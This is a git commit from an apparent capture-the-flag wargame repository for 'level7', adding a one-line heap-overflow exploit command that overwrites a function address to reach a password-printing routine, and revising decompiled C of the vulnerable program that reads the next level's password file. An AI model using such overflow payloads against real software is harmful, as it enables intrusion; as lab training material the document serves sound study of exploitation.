level7: done, walkthrough left to do

This commit is contained in:
0x35c 2025-05-01 11:31:38 +02:00
parent c00f78c45b
commit 943d8fb772
2 changed files with 11 additions and 15 deletions

View File

@ -0,0 +1 @@
./level7 $(python -c 'print "A"*20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"')

View File

@ -14,24 +14,19 @@ void m(void)
return;
}
int main(int ac, char **av)
int32_t main(int32_t ac, char **av)
{
int **a;
int **b;
FILE *__stream;
int32_t *str = malloc(8);
str[0] = 1;
str[1] = malloc(8);
*a = (int *)malloc(8);
*a[0] = 1;
a[1] = malloc(8);
int32_t *str2 = malloc(8);
str2[0] = 2;
str2[1] = malloc(8);
*b = (int *)malloc(8);
*b[0] = 2;
b[1] = malloc(8);
strcpy((char *)a[1], av[1]);
strcpy((char *)b[1], av[2]);
__stream = fopen("/home/user/level8/.pass", "r");
fgets(c, 68, __stream);
strcpy(str[1], av[1]);
strcpy(str2[1], av[2]);
fgets(c, 68, fopen("/home/user/level8/.pass", "r"));
puts("~~");
return 0;
}